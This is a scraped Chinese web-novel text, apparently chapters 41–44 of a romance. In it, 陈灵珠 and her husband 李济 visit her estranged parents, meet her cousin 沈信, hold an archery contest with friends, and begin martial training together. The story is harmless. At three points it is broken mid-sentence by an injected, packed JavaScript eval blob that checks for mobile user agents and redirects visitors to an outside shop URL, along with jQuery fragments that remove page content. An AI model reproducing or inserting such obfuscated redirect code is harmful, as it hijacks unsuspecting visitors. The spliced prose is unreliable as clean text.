闲汉路人甲乙等人跟着国公府的马车到了陈府,见镇国公府的小厮将回门礼抬下了马车,小山似的放在陈府大门口,这才恍然大悟。 路人甲:“原来是陈家嫁到镇国公府的姑奶奶回娘家来了!带了这么多的节礼!” 路人乙依稀听过陈进弹劾一事,低声道:“不是说,陈大人弹劾了镇国公父子,两家不来往了吗?” 路人乙道:“你这就不懂了,朝堂上说什么,那都是一时的,两家的姻亲关系却是实打实、风吹都不散的。只要世子还愿意认陈家二姑娘为妻,他就不可能不认陈大人这个岳父大人。” 路人甲对路人乙的说法有些半信半疑,但看着小山似的节礼,相敬如宾的世子夫妇,又不得不信了。 镇国公府并未派人告知陈府关于陈灵珠今日归宁之事,陈进、陈夫人、陈灵瑛也没想过她今日会回来,一时都有些措手不及。 陈夫人满脸尴尬之色,陈灵珠还好,李济这个女婿她是真不知道怎么面对。接连二三的理亏,她实在端不起来丈母娘的架子。这些也就罢了,交际场上打滚这么多年,她也练就了一副铜皮铁脸,场面功夫勉强也能维持,但这李济,亲热不得,冷淡不得,分寸着实不好把握。 李济对她倒是以礼相待,虽然微笑不达眼底。陈灵珠呢,神色则淡淡的,虽还称呼她为娘,但疏离显而易见,似乎她们之间也就剩下这个称呼了。 她默默叹了口气,心里为自己叫屈。 陈进弹劾镇国公父子一事,她是没有阻拦,但那是因为她知道自己拦也拦不住,丈夫在朝堂上的事,哪里会听她这个妇道人家的意见呢。至于在陈进弹劾之后带着陈灵瑛和杨绾柔去金玉阁选首饰,那是因为她早就答应了陈灵瑛和杨绾柔,她也不知道会那么巧,偏偏在那里遇上了陈灵珠。 李济问:“岳父大人呢?” 陈夫人尬笑两声,道:“你们来得不巧,老爷今日有事,出门去了。” 嫁出去的女儿端午节后一二日归宁在本朝是约定俗成的礼节,陈夫人却说他们来得不巧。 陈灵珠心中一哂,今日是休沐日,她的父亲不在府中怕是假的,不想见他们才是真的。她早就知道必定如此,所以连问也懒得问。 李济听了,似也不在意,微微一笑道:“如此果然不巧。” 将陈灵珠李济引进花厅,分宾主坐下,陈夫人道:“珠儿这孩子毛病不少,还需贵府多包涵。” 这样的话是为人母亲在女儿嫁人后常说的,一般不过是客气的谦辞,不过在陈夫人这里,倒也说得有几分真心实意。 李济听出来了,他早就知道这个岳母偏心,但一直以为是她做不了主的缘故,没想到原来不是。 如此,就更伤人了。 他偏头看了看陈灵珠,见她脸色漠然,看上去对陈夫人的那句话毫不在意。 要受了多少委屈,才会对这种伤害自己的话满不在乎? 他脸色微沉,道:“岳母此言差矣。” “珠儿心性率直,明辨是非,小婿倒觉得她比那等空有美名的女子强百倍。从前明珠投暗,自然蒙尘,如今明珠重见天日,熠熠生辉,小婿珍惜还来不及,又何须‘包涵‘?” 陈夫人:“……” 从前是明珠投暗,自然蒙尘?这分明是在骂他们夫妇,说他们以前苛待陈灵珠了。 做父母的被人当面骂说对自己的女儿不好,陈夫人的脸上过不去,可她无法辩驳,女婿在夸女儿,做母亲的总不能说他不对,便只能尴尬笑道:“你能这么想,我很欣慰。” 陈灵珠听了李济的话却有些好笑,这个人今日是铁了心要演一出“心胸宽广,不计前嫌,岳家虽对我不住,我却深爱我妻”的大戏了,平日里狗嘴里吐不出象牙,难为他今日说出这样肉麻的话来。 她有些忍俊不禁,但李济一本正经,她又不好笑出声拆他的台,便低下头,将脸埋在帕子里。 李济却误会了,以为她见母亲如此态度,难过得想哭,遂伸出手,将她的手握住。 陈灵珠:“……” 42. 第 42 章 趁着陈灵珠和李济在花厅说话的当口,陈进赶紧悄悄出了门。 但他出门偷偷摸摸,出来了却吩咐车夫去最热闹、最多臣僚喜欢去的醉仙楼。到了醉仙楼,他也不像往日一样要个安静的包厢独酌,而是选了一楼大厅之中最显眼的位置坐下,又不管熟与不熟,都面带微笑与前后左右招呼致意。 同在一楼大厅喝酒的还有工部员外郎梁为等人,见他像变了个人似的,不禁瞪大了眼。 谁不知道,陈大人最是不苟言笑,整日双眉紧锁、苦大仇深,跟谁都欠他五百两似的,怎么今日一反常态,变得和蔼可亲、平易近人起来? 他们不知道,陈进这么做,属实是迫于无奈。 李济没有提前知会陈府,今日却突然陪陈灵珠回门,又大张旗鼓地恨不得让天下人都知道,无非是要将他绑在镇国公府这条船上——他之前弹劾李济是为了与李济撇清关系,李济偏不让他如愿,反将一军。 陛下多疑,知道李济这般去了陈府,只怕会对他起疑心。 李济这是要他见恶于陛下,让他与陛下离心。 陈进头痛不已,这李济,年纪轻轻的,城府却不容小觑。 也怪他一念之差,当初就应该果断抗旨,连陈灵珠这个二女儿也不嫁给他,杜绝任何与镇国公府扯上关系的可能。 可惜如今后悔已是迟了,陈灵珠已经嫁给了李济,无论如何撇清,他与李济都是翁婿。 所以他只能亡羊补牢,赶紧从陈府出来,一是表明态度,二是想让这些醉仙楼看过他的人为他作证,他在李济去陈府那一日,不在陈府之中,断无可能与李济有什么交往,更不可能与李济密谋些什么。 被李济噎了几次后,陈夫人支应不住,叫来了大儿子——陈灵珠的大弟陈璘作陪。 陈璘十三岁,与陈灵珠仅隔两岁,但因父母不疼爱陈灵珠这个二姐姐的缘故,他与陈灵珠并不算亲近,也不知该跟与李济这样年纪虽轻却身经百战的将军说些什么,只能僵硬地一问一答。 见陈璘如此,陈灵珠越发觉得没意思,提出要去陈家的祠堂拜祭陈家的祖先。 只要不用面对他们,陈夫人觉得怎么都好,忙道:“应该的、应该的。” 连忙吩咐管家安排下去。 到了祠堂,陈灵珠与李济各自拈了香,站在陈家祖先的牌位前。 “祖母、祖父。”陈灵珠道:“孙女儿已经成了亲,与夫婿来看你们了。” 她想到从前,眼泪盈上眼眶。从前祖母在的时候,她受了委屈,还能跑到祖母的屋子里,伏在祖母的怀里痛哭一场。 但后来祖母病逝,除了奶娘,陈家就再也没有能让她哭的怀抱了。 “祖母、祖父,”李济恭恭敬敬地将香举到身前,“小子是珠儿的丈夫,你们的孙女婿李济。祖母、祖父但请放心,孙女婿以后会好好待珠儿,不会让她如从前一般受委屈。” 站在一旁忽然中了冷刀子的陈夫人:“……” 如从前一般受委屈?拜祭祖先便拜祭祖先罢,提从前做什么! 陈灵珠转头看他,他也转头对她笑了笑,然后回过头,对着陈灵珠祖父母的牌位拜了三拜,将香插在香炉里。 拜祭完祖先,陈灵珠看了看刻漏,提出告辞。 陈夫人暗暗松了一口气,连假意挽留都没有,连忙送他们出门。 陈灵珠上了马车,连头也没回。 马车辘辘前行,李济看她双唇紧抿,有些于心不忍,温声道:“你若是不喜欢回陈家,以后我们不来了。” 陈灵珠沉默着,过了好一会儿,她点头:“好。” 李济叫住车夫,让他改道去永宁街。 陈灵珠不知他为何突然要去永宁街,疑惑地看着他,他道:“永宁街有一家新开的酒楼,叫聚味楼,我与你去试试。” 陈府并没有留他们用膳,他们若是这个时辰回去让厨房做吃的,难保不会传出点什么来。 祖母和母亲那里虽不要紧,二婶却是个爱说闲话的,得知此事,定会冷嘲热讽几句。 这种话虽然不痛不痒,她也未必在意,但能避免还是避免的好。 聚味楼的几道新菜式和点心味道不错,这个小女子素来是喜欢吃的,去试试新菜,也许能让她从高兴起来。 陈灵珠没反对,她饿了,此时也确实需要美味的食物让自己开怀。 没多久聚味楼到了,陈灵珠下了车,与李济才踏入门槛,早有机灵的伙计迎了上来,将他们引到二楼的厢房。 陈灵珠见这聚味楼环境清幽,丝竹声隐隐入耳,紧绷的身体也放松了下来。 李济点了聚味楼的几道招牌菜如周八珍、驼蹄羹、浑羊殁忽、松鼠鳜鱼等,再点了几样冷盘,知陈灵珠喜欢甜食,又点了白玉酥、紫云糕、梅花香饼、酥山等几样,然后问陈灵珠:“你看看可要加什么?” 陈灵珠虽然爱吃,但胃口不大,便只叫了一壶酒。 等酒菜上来,热冷盘和几样甜品依次下肚,她便将一切的烦恼都抛之脑后。本想喝几杯小酒的,但才小呷了一杯,她就放弃了。 这点烦闷,实在无须借酒消愁。何况她不胜酒力,算了罢。 李济见她不再闷闷不乐,恢复如平日一样笑意盈盈的模样,松了一口气。 从聚味楼出来,两人也不用马车,就这么慢慢往镇国公府走,紫苏等人远远跟在后面。两人都是相貌出色之人,这么并行在路上,引得不少路人侧目。 正走着,突然听到一个温柔低沉的男声唤陈灵珠:“珠儿?” 陈灵珠回头一看,是表兄沈信。 自从那日离了沈宅,这一个多月来,她都没有再见过沈信。为了避嫌,她甚至没有过多去打听春闱的消息。 但即使她没有刻意关注,杏榜贴出来后,她还是知道沈信中了二甲第十七名。 名次虽不及预期,但进士及第,也算有了交代。 再看沈信,虽然仍然清瘦,但比起之前,脸色已好看了许多。 沈信见到陈灵珠,颇有些喜出望外,小跑两步上前,笑道:“珠儿,没想到在这里遇见你。” 陈灵珠微笑道:“我也没想到能遇到表兄。对了,还未恭喜表兄高中进士。” 沈信的表情微微一黯,道:“没能考得更好,让你们失望了。” 陈灵珠笑道:“表兄何出此言?能中进士已是万中无一,表兄又何必妄自菲薄?” 李济见一个年轻的男子跑了过来,眼神热切,唤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759866|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的妻子“珠儿”,而陈灵珠称他为“表兄”,略略一想,便知道这个人是谁了。 对于沈信,他从未看在眼里,即使他中了进士。不过眼下看他,长得确实眉清目秀,也称得上一表人才。 一袭青衫又让他格外有读书人的气韵,看上去也有几分君子的翩翩风度。 某些小姑娘,譬如李照槿,就对这一类男子格外有好感。 他倒不是担心什么,毕竟他远胜这沈信,只要不是眼瞎,就会知道该怎么选。 若无其事地执起陈灵珠的手,他云淡风轻地笑问:“珠儿,这位是?” 沈信这才发现李济在旁。 他曾远观过李济,但如此近看,还是第一次。 饶是他心中有些不忿,也不得不承认,即使抛却家世不论,李济也是个极出色的男子,一身的气度颇为摄人。 但那又如何,他与珠儿之间的情分,不是这个人能够比拟的。 陈灵珠见李济突然在沈信面前牵起她的手,心中不免为他突如其来的亲昵奇怪,略想了想,断定李济是方才演大戏演得入迷,一时未能从中抽身。两人既为夫妇,表兄面前,她也不好用力挣开他的手,便由他牵着,介绍道:“世子,这是我二姑母家的表兄,沈信。” 此言一出,李济、沈信二人都微不可察地蹙了蹙眉,一个觉得她叫“世子”太显生疏,一个为自己仅被称为“二姑母家的表兄”而黯然。 不过二人面上都不显,沈信对李济施礼道:“在下沈信,见过世子。” 李济微笑还礼:“原来是沈兄,久仰。” 沈信道:“听闻世子受了伤,不知如今可好了?” (不会影响到身体和前程罢?) 李济客气道:“多谢沈兄关心,一点小伤,不足挂齿。沈兄铨选在即,若有需要帮忙之处,尽管开口。” (我的伤无大碍,而你虽然中了进士,但与我相比,还差得远。) 沈信当然说不必,两人含沙射影地你来我往数回合,陈灵珠见几人在人来人往的道路之上,实在不是说话的地方,便对沈信道:“表兄,我们还有事,就先失陪了,改日再登门看望姑母和姑父,表兄替我们问两位长辈好。” 李济听到陈灵珠说改日去沈家,虽知多半是客气话,心里仍有些不舒服,不过,她说的是“我们”,这就将他与沈信区分开了。 至于沈信,“我们”二字更提醒他陈灵珠已经嫁给李济的事实,心中疼痛不已。但目前他也无计可施,只能压下心中酸涩,应道:“如此,我便告辞了。” 与沈信分开,李济仍然牵着陈灵珠的手没放,她叫他:“世子?” 观者已走,可以放开了。 他嗯了一声,却还是没有松开。 她以为他忘了,点点下巴示意他还拉着她的手,他低头看了一眼,却笑着紧了紧手指,牵着她往前:“我还是扶着你罢,你酒量太差,方才喝的酒都上脸了,万一摔着了,祖母岂不责怪?” 陈灵珠确实酒量不佳,此时虽不至于头重脚轻,但脸果然如他所言有些发热,人也有些飘,便也没有反对,由他牵着她的手。 李济微微偏头向外,笑了笑,又转回头,扣紧她的手轻轻甩了甩道:“走罢。” 43. 第 43 章 翌日,两人刚用完早膳,阿拙跑了进来。 “世子!少夫人!”阿拙跑得一头汗,“张公子和张少夫人又来了,在偏厅等着呢。” “还有顾公子也来了!” 夫妇二人来到偏厅,果然里面已有三人。 陈灵珠见厅中除了张氏夫妇外,还站着一个二十出头的青年,衣衫华丽,风度翩翩,一副风流贵公子的模样。 她知道,这位想必就是阿拙提到的顾公子了。 顾言对她而言是个生面孔,她不禁多看了一眼。 上次在聚香楼遥遥一望,顾言知道陈灵珠是个十分美貌的女子,再加上那些传言,对陈灵珠难免有几分好奇。他又是个风流人物,见美人就在眼前,便忍不住多打量了几眼。 李济不知有意还是无意,恰好走到二人中间,高大的身形将陈灵珠、顾言二人的目光挡了个严严实实。 顾言:“……” 陈灵珠对顾言也不过是有点好奇,被挡住,她也就不看了。 毕竟,她又不是没见过好看的男子。 各自落座,顾言的目光又忍不住朝陈灵珠瞥了过去,心中暗叹。 真是个貌美的女子,济之这小子的运气一向不错,但没想到岳家换人都能给他换来这样一个美人。 想着,他不禁转头看了李济一眼。 这一看,却让他心一跳,手一抖,差点将茶汤泼洒了出来,因为李济正盯着他,脸上似乎有两分不豫之色。 朋友妻不可戏,他虽然没有戏弄的心思,但盯着朋友的妻子瞧总归是无礼的,顾言心中有愧,难免心虚,不敢再看。 李济这才转开脸看向陈灵珠,小姑娘正与傅映瑶有说有笑,全然没有注意到顾言的注视,更是一眼都没有再看顾言。 他垂下眼,拿起茶碗喝了一口,今日这茶,喝下去通体舒畅,似有丝丝回甘,好茶。 喝了一盏茶,张现笑道:“济之,咱们兄弟几个好久没有痛痛快快地比一场了,你伤势如何?可能比?” 李济并不是个只顾逞能的人,但他的身体已好了七八成,便笑道:“如何不能比?” 顾言也拍手笑道:“走!往日我都是你们的手下败将,如今趁着济之还未恢复,看我将济之打个落花流水。” 李济欣然应战:“尽管放马过来就是。” 傅映瑶笑着对陈灵珠道:“咱们也看热闹去。” 三个男子各自换上了劲装,来到了演武场,陈灵珠、傅映瑶二人跟在后面。 张现虽然主动邀李济比武,但他对李济的伤始终有些担心,他自己以刚猛见长,一棍下去力量极大,万一李济与他比武时伤口崩开,那他罪过可就大了,便提议比骑射。 固定的靶子没多大意思,战场中,人是不会固定不动的,李济提议将胡萝卜作为目标绑到山羊的角上,各人带十支做了标志的箭,在不射死、射伤山羊的前提下,谁射中最多,用时最短,就算胜利。射中的数量一样,则以时长论胜负,时长一样则以数量论胜负,若不巧都一样,就再比一次,分出高低。这个过程之中,可以放箭干扰别人,也可以将他人的弓箭击落。 张现同意,顾言也跃跃欲试。 三人都是二十出头的青年,模样都很俊俏风流,此时劲装打扮,坐在高头大马上,一手挽弓,箭箙背于身后,看上去威风凛凛,英姿飒爽。尤其是李济,面如冠玉,眸若点漆,宛若天神从天而降。 陈灵珠又想到了二郎神,那个以俊雅和英勇善战著称的天神。 见她发着呆,傅映瑶拍了拍她,“快,咱们给他们呐喊助威!” 说着,她喊了起来:“隐之!现郎!不语!努力啊!要赢李济之啊!挫一挫李济之的锐气!” 自己喊完,她催促陈灵珠道:“快喊,不然一会儿比试开始他们就听不到了。” 陈灵珠只好喊道:“世子,要小心!不要受伤!” 她知道张现和顾言都不是泛泛之辈,李济可不要为了赢把伤口给崩开了。 傅映瑶笑道:“妹妹不必担心,济之这小子做事向来有成算,不会逞强。” 李济骄矜地回头望了一眼,淡淡地朝她颔首。 一声鼓响,三人策马奔了出去。 顾言一马当先冲在最前,张现第二,李济在最后。 陈灵珠不禁替他捏一把汗,这虽然是兄弟之间的切磋,但李济毕竟伤重才愈,若是输得太难看,只怕于他的自信心有碍。 顾言跑在最前,他边驱马边从箭箙中抽出弓箭,从满场乱蹿的山羊里选了一只锁定了。 山羊受了惊,不停乱跳,若不能射伤或射死山羊,甚至山羊角都不能伤的情况下,想要射中胡萝卜,并不是一件易事。 顾言将弓拉满,将箭“嗖”地一声射了出去,如果没有意外,此箭必中羊角上胡萝卜的中心! 他有些得意,他就知道自己进步不小! 本以为自己必定拔得头筹,哪知就在这时,左右两侧传来破空之声,李济和张现的射.出的箭一左一右同时夹击他的箭矢,那箭矢咔嚓咔嚓碎成数段,然后掉落在地。 顾言心里大叫可惜,不敢耽误,当即抽出另一支箭准备补救。 然而这时张现早已策马越过了他,搭好了弓箭,瞄准了一只山羊。 “嗖”地一声,那弓箭快如闪电,射中他瞄准的山羊头上的红萝卜已成必然之势,但另一支箭比它更快,在它的箭头堪堪碰到胡萝卜皮时,已将另一只山羊头上的胡萝卜射成两段。 山羊毫发无损,却难免受惊,“咩咩”叫着,跳跃着跑开了。 “世子先得一筹!” “张公子也得一筹!” “世子再得一筹!” 校场中,李济不慌不忙,气定神闲,他似乎不怎么需要瞄准,甚至不需要太过近前,就已经一箭接着一箭,将算筹收入囊中。 她似乎小瞧了他。 傅映瑶在旁边啧啧道:“这李济之,还是一如既往地招人恨。” 她对陈灵珠道:“妹妹你不知道,我与李济之也算自小认识,无论什么比试,我就没见他输过,当真可气。” 她嘴里说当真可气,看起来却一点也不气,反而颇为骄傲,似乎与有荣焉,陈灵珠朝她笑了笑,转头继续看校场。 顾言急忙射出一箭,总算得了一筹,再看另外两人,张现已得了三筹,而李济从容不迫,箭无虚发,已经得了六筹。 顾言:“……” 差那么远的吗?以前他怎么不知道? 又射.出一支箭后,李济只剩三支箭矢了。他把三支箭从箭箙中全部抽了出来,放到弦上,侧了侧头,用余光看了一眼陈灵珠的方向。 傅映瑶还是一如既往,没个正形,而她挥舞着双手,口中在喊着什么。 他笑了笑。 张现和顾言都注意到了他这个举动,哪里容他如此嚣张,急忙搭弓上箭,想要将他的其中两支箭射偏,却不想顾言胯.下坐骑踩到一块石头,脚下一歪,顾言身子一斜,射出的那支箭竟直直地朝李济面门而去。 陈灵珠不由一惊,刚要惊呼出声,已听到“嗖、嗖、嗖”三声,三支羽箭同时射.出。 与此同时,李济上身朝后仰倒,与马背平齐,箭矢从他的面部上方擦过。 三支羽箭全中。 李济毫发无伤。 陈灵珠松了口气,又暗暗感叹,自己似乎又一次小看了他。 李济原来,比自己以为的要厉害多了。 身旁的傅映瑶鼓起掌来,为李济喝彩:“李济之,好样的!” 李济直起身,朝她们微微一笑,然后策马跑了过来。 “世子!”陈灵珠跑到他的马前,笑道:“你真厉害!” 李济潇洒地跃下马,微笑颔首,“雕虫小技罢了。” 话是这么说,但他瞥陈灵珠的那一眼分明充满了自得。 傅映瑶虽说要丈夫赢了李济,真输了她也不失望——主要是早就习惯了,她笑道:“李济之,看来你的伤真的好得差不多了,今日这一手,真是神乎其技。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765833|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果当然毫无悬念,李济第一,张现第二,顾言排尾。 张现输了也不恼,笑道:“济之,还是小瞧了你!等我回去练练,我们下次再比试!” 顾言输得没了脾气,刚才差点误伤李济更是让他惊出一身冷汗,李济见他有些丧气,过去搂住他的肩膀。两个男人,一切尽在不言中。 顾言想说什么,最终还是给了他一拳,笑道:“你小子!今日我输得心服口服!” …… 送走了三位客人,小夫妻二人回到了梅林上筑。 陈灵珠还念念不忘刚才的那场比试,问:“世子,你几岁学的骑射?” 李济没回答这个问题,盯了她半晌,突然问她:“你为何叫我世子?” 刚才在演武场上,傅映瑶叫张现隐之、现郎,而她叫他“世子”,他是镇国公世子,而张现是忠勇侯世子,不知道的,还以为她在叫张现呢。 昨日之前他都没留意,但认真想来,夫妻之间这样称呼,岂不生疏? 陈灵珠疑惑地看着他,有什么问题吗?一向都是这么叫的。 “我是你的什么?”他无奈引导她。 “丈夫。”她小声道,她明白他的意思了,但除了叫他“世子”,她也不知道应该称呼他什么。 时下夫妻,有像她母亲一样称呼她的父亲“老爷”的,也有像傅映瑶那样亲密点称呼“某郎”,或是按家中排行称呼为“大郎”、“二郎”的,不一而足。 她一直呼他为“世子”,是因一开始,总觉得叫“夫君”名不正言不顺,毕竟婚书上的名字是陈灵瑛的,去陈家迎亲的是他的庶弟李澄,与她拜堂的又是大公鸡。 何况当时镇国公府认不认她还两说。 后来叫着叫着也就习惯了,也没想过要改过来。 不过如今听李济的口气,显然对此不太满意。 她试探道:“二郎?” 李济瞥她一眼,摇头,“换一个。” “济儿?” 李济忍不住从太师椅上站起,走过来轻轻弹了她额头一下:“你想得美,小小年纪的还想占我便宜。再想想。” 他就不信她不知道,这个可恶的小女子。 陈灵珠捂着额头不满地瞪着他,越发不肯就范,“大将军?” 李济笑道:“你再胡来,小心我把你当成小兵一样操练。” 陈灵珠根本不怕,“哥哥?” 李济沉吟了一下,还是不好,她虽然年纪比他小得多,可又不是他的妹妹。 他的妹妹已经够多了,并不想多要一个。 “济之?” “叫夫君。” 他一锤定音道。 “哦。”她表示知道了,“夫君”二字却没有出口。 李济:“……” “你叫一声试试。”他清了清喉咙提议道。 “夫君。”她低了头,不知为何心里涌出几分不好意思,一抹绯色不可抑制地浮上她的脸,甚至耳后都热了起来。 脸红应是能传染,看她囧成这样,李济这样脸皮厚的人,耳朵竟也红了,还蔓延到了脖颈。 陈灵珠憋红了脸,想起一事,反击道:“你还不是总叫我‘少夫人’?” 有时候还“少夫人”都没有,一个“你”就完了。 也就是昨日,不知道抽了哪门子风,突然叫她“珠儿”。 叫了她一声珠儿,今日就要她回称他“夫君”了,这李济,还真是一点亏都不愿吃。 李济心虚地摸摸鼻子:“那我以后叫你‘李陈氏’可好?” 她瞥了他一眼,这是什么鬼称呼?他若这样叫,她是不会答应的。 李济笑道:“好了,那我唤你‘珠儿’。 “珠儿。” 他再一次唤道,简单的两个字,却似乎蕴含着其他的意味,让两人的脸再次烧了起来。 “好了,就这样决定罢。”陈灵珠实在尴尬,道:“去用膳。” 说着抢先出去了。 李济微微一笑,抬脚跟上。 44. 第 44 章 李济早就恢复了日常练武,他想着自己去练武时带上陈灵珠,让她也练一练,强身健体之余,两人还可以待在一处。 他跟陈灵珠提了此事,本以为要费一番口舌,因为陈灵珠看起来就四体不勤的模样,不想她毫不犹豫,一口答应了下来。 李大将军除了上阵杀敌,在练兵上也颇有心得,总有新兵以为他有如今的地位和成就,靠的是他爹镇国公,李济便让他们知道,他靠的不只是爹,还有他自己;也有新兵以为他长得相貌俊美,是个心慈手软的主儿,他便让他们深刻体会到,什么叫玉面罗刹。 对陈灵珠当然不能像对新兵那样,毕竟她这么一个娇娇女孩儿,不是战场上的糙汉子,何况他本来的目的,也不是为了将陈灵珠锻炼成上阵杀敌的女将士。 不过,若是他拿出一成半成的功力来,让陈灵珠稍稍体验一下他训练新兵的英姿,想来无妨。 主意已定,李济次日便与陈灵珠来到镇国公府西边的小校场。 李济问她:“以前练过武吗?” 陈灵珠点头,李济心中微讶,上下打量她,她今日穿了一身短褐,以女子来说虽然身量不算低,但十分纤细,看起来不像有任何武术功底。 陈灵珠接着道:“练过一个月的。” 李济:“……” 那就是没有。 陈府曾在陈灵珠八岁时给她们姐妹二人请过一个武术师傅,让她们强身健体,顺便学一些防身之术,陈灵珠是感兴趣的,但陈灵瑛学了半月就不想学了,还是陈进劝了她半天,才又学了半月。 但满一月后,陈灵瑛死活不愿再去,陈进便让杜氏遣走了教她们的师傅。从头到尾,没有一个人问过陈灵珠的意思。 师傅一走,武术自然学不成了,陈灵珠便将那一月中学到的一招半式,时不时练一练,权当锻炼身体。 所以比起一般闺阁小姐走两步便气喘吁吁,她觉得自己堪称健步如飞,有时与紫苏茯苓等玩闹,等闲她们也抓不到她。 不过这点三脚猫功夫在李济那里不值一提,她心中有数。 虽然人少,但李大将军练兵前照例先要训话,“以后你就是我麾下的兵,在军中我的兵是什么样,你就要怎么样!本将绝不会因为你是个女子就对你另眼相看!” 看他一本正经的样子,陈灵珠配合地严肃道:“是!标下一定全力以赴,请将军赐教!” 她既然答应练了,就不会随意敷衍。 李大将军很满意,这个小兵态度很端正,既然她这样识趣,李大将军也不想为难她,便让她先扎个马步看看。 陈灵珠便拿出架势,似模似样地扎了一个。 她觉得自己扎得很稳,不料李济伸出长腿一扫,她就“啪”地一声倒在地上。 “……” 李济这一扫,完全没留半分余力,陈灵珠结结实实地摔在地上,让人听着都觉得疼,他不禁有些后悔,他是习惯使然,一认真就忘了这是个小姑娘,不是他麾下的兵。 摔这一下,陈灵珠还没说什么,可把她的圆脸丫鬟心疼得眼泪都要流出来了,又不敢说他什么,只好幽怨地看了他一眼,然后眼不见为净,捂着眼睛走开了。 陈灵珠从地上爬起,拍拍身上的灰尘,气鼓鼓地看着李济。 这才刚开始,他就不能先给她适应一下吗! 还好她年轻经摔,若是老骨头,只怕已经散架了。 李济有点尴尬,咳嗽一声掩饰道:“功夫不过关,徒有其形!先扎两个时辰马步!”说着稍稍纠正了一下她的姿势。 还别说,他稍微指点指点,虽然看起来差别不大,她的下盘却稳多了。 这边陈灵珠扎马步,李济走到另一边练刀枪。 练了将近一个时辰,他放下兵器去找陈灵珠。 李济练兵无数,也阅兵无数,偷奸耍滑,千方百计逃避操练的见多了,但他着实没见陈灵珠这个路数的。 此时已是五月,他们今天本来就出来得迟,他练了一会儿功,就出了一身臭汗。 他望望天,当真是骄阳似火。 说让陈灵珠先扎两个时辰马步,但他没指望她真能遵守,若是她支撑不住,已经在一旁休息,甚至见了他发发脾气、撒撒娇什么的,他也不是不能睁一只眼闭一只眼。 但他到了陈灵珠扎马步的地方一看,她还在那里坚持着,虽然小腿颤抖得不像话,头发湿哒哒地粘在额头上,脸蛋红通通的,整个人摇摇欲坠,随时都能晕倒。 李济有点过意不去,也怕她中暑,便让她先休息。 但这个倔强的小女子尽管两股战战,仍然咬牙道:“军令如山,将军说要标下扎两个时辰,标下不敢不遵。” 话是自己说的,见她坚持,李济也不勉强,便走到一旁看着她。 本来以为她最多再坚持一炷香时间,谁知这小女子不知哪儿来的毅力,竟咬紧了牙关不肯放弃。 李济头痛,他说两个时辰,本是练兵时常用的手段,并非真的要她在这样的烈日之下暴晒。 他只好拿出将军的气势道:“陈灵珠听令!情况有变,立即到阴凉处休息!” 陈灵珠这才双腿一软,瘫倒在地。 本想在地上躺一躺再起来,李济却过来,将她抱到树荫下,又拿着水囊喂她喝水。 陈灵珠喝了几口水,又躺了一会儿,才算回过了魂。 初初练武不宜用力过猛,今日也练得差不多了,二人便回了梅林上筑。 将她送回西院,面对陈灵珠的奶娘和两个婢女心里嗔怪又不敢表现出来的眼神,李济心虚道:“如今天气太热,不宜晚出门。今日出门太迟了,明日我们早些出发。” 陈灵珠有气无力地道好,李济在西院待了一会儿,这才回了东院。 见世子出去了,奶娘心疼地对陈灵珠道:“少夫人,你这又是何苦?” 奶娘一向不太赞成她练武,觉得有损女子的温柔静美,陈灵珠听了一笑,没说什么。 练武是没有问题的,她喜欢练武,只是,她显然低估了李济练兵的强度。 看他今日得意的模样,说不定以后强度会越来越大。 如此,她可不知自己能否支撑得住。 可练武是她自己答应的,她不想半途而废,更不想让李济看轻了她。 她想了想,心里有了主意。 是夜,月黑风高,李济睡得正香,有人进了门。 他警惕性高,一有动静即翻身而起,抓起了床边的剑,直指刚刚进门的人! 陈灵珠:“……” 看着她俨然有些惊慌的眼神,他反应过来,放下剑,问她:“怎么了?半夜三更不睡觉,怎么这个时候过来了?” 陈灵珠本来只是来叫醒他,没想到会被他当成刺客,她惊魂未定,好一会才道:“世子,该起床练功了。” 李济:“……” “什么时辰了?” 陈灵珠看了一眼更漏,“快寅时了。” 李济:“……” 有时为了提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774148|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兵士的警觉性或出于其他目的,在兵士睡梦正酣时叫醒他们也是有的,但李大将军没想到自己也有今日,他叹了一声:“倒也不用这么早。” “不早了。”刻苦的小兵腿脚酸软得厉害,每动一下都十分艰难,但她还是挣扎着道:“现在出门,扎两个时辰的马步,刚好能在日上中天前回来。” 小兵催着将军出操,此事前所未有,大将军觉得不能在小兵面前失了面子,只好摸摸鼻子出了门。 当天,李大将军宣布,陈小兵马步扎得进步很大,训练十分有成效,以后可以将扎马步的时间由两个时辰改为一个时辰了。 为了嘉奖陈小兵,他又教了她一套棍法。 陈小兵十分欢喜,一招一式倒也有板有眼,但李济在小兵的丫鬟和奶娘脸上看到了不满——本来就是,哪个体贴的丈夫会在半夜三更让妻子起来去练什么功夫! 